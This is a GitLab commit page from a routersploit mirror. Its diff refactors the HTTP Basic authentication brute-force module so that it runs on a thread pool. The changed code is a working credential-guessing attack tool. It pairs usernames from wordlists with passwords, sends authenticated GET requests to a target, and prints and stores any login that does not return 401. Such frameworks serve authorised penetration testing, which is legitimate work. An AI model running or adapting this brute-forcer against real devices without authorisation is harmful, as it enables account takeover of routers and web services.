Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b20ff7cf
Commit
b20ff7cf
authored
Aug 16, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Using ThreadPoolExecutor in creds/http_basic_bruteforce
parent
66bdaefa
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
25 additions
and
36 deletions
+25
-36
http_basic_bruteforce.py
routersploit/modules/creds/http_basic_bruteforce.py
+25
-36
No files found.
routersploit/modules/creds/http_basic_bruteforce.py
View file @
b20ff7cf
...
...
@@ -6,15 +6,16 @@ from routersploit import (
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
http_request
,
boolify
,
multi
,
threads
,
validators
,
)
from
routersploit.exceptions
import
StopThreadPoolExecutor
class
Exploit
(
exploits
.
Exploit
):
"""
...
...
@@ -36,17 +37,15 @@ class Exploit(exploits.Exploit):
],
}
target
=
exploits
.
Option
(
''
,
'Target IP address or file with target:port (file://)'
)
target
=
exploits
.
Option
(
''
,
'Target IP address or file with target:port (file://)'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
path
=
exploits
.
Option
(
'/'
,
'URL Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
stop_on_success
=
exploits
.
Option
(
'yes'
,
'Stop on first valid authentication attempt'
)
credentials
=
[]
verbosity
=
exploits
.
Option
(
True
,
'Display authentication attempts'
,
validators
=
validators
.
boolify
)
stop_on_success
=
exploits
.
Option
(
True
,
'Stop on first valid authentication attempt'
,
validators
=
validators
.
boolify
)
def
run
(
self
):
self
.
credentials
=
[]
...
...
@@ -54,7 +53,7 @@ class Exploit(exploits.Exploit):
@multi
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
)
url
=
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
...
...
@@ -74,41 +73,31 @@ class Exploit(exploits.Exploit):
else
:
passwords
=
[
self
.
passwords
]
collection
=
LockedIterator
(
itertools
.
product
(
usernames
,
passwords
)
)
collection
=
itertools
.
product
(
usernames
,
passwords
)
self
.
run_threads
(
self
.
threads
,
self
.
target_function
,
collection
)
with
threads
.
ThreadPoolExecutor
(
self
.
threads
)
as
executor
:
for
record
in
collection
:
executor
.
submit
(
self
.
target_function
,
url
,
record
)
if
len
(
self
.
credentials
)
:
if
self
.
credentials
:
print_success
(
"Credentials found!"
)
headers
=
(
"Target"
,
"Port"
,
"Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
def
target_function
(
self
,
url
,
creds
):
name
=
threading
.
current_thread
()
.
name
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
try
:
user
,
password
=
data
.
next
()
user
=
user
.
encode
(
'utf-8'
)
.
strip
()
password
=
password
.
encode
(
'utf-8'
)
.
strip
()
user
,
password
=
creds
user
=
user
.
encode
(
'utf-8'
)
.
strip
()
password
=
password
.
encode
(
'utf-8'
)
.
strip
()
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
user
,
password
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
user
,
password
))
if
response
.
status_code
!=
401
:
if
boolify
(
self
.
stop_on_success
):
running
.
clear
()
print_success
(
"Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
break
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
if
response
is
not
None
and
response
.
status_code
!=
401
:
print_success
(
"Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
if
self
.
stop_on_success
:
raise
StopThreadPoolExecutor
else
:
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
self
.
verbosity
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment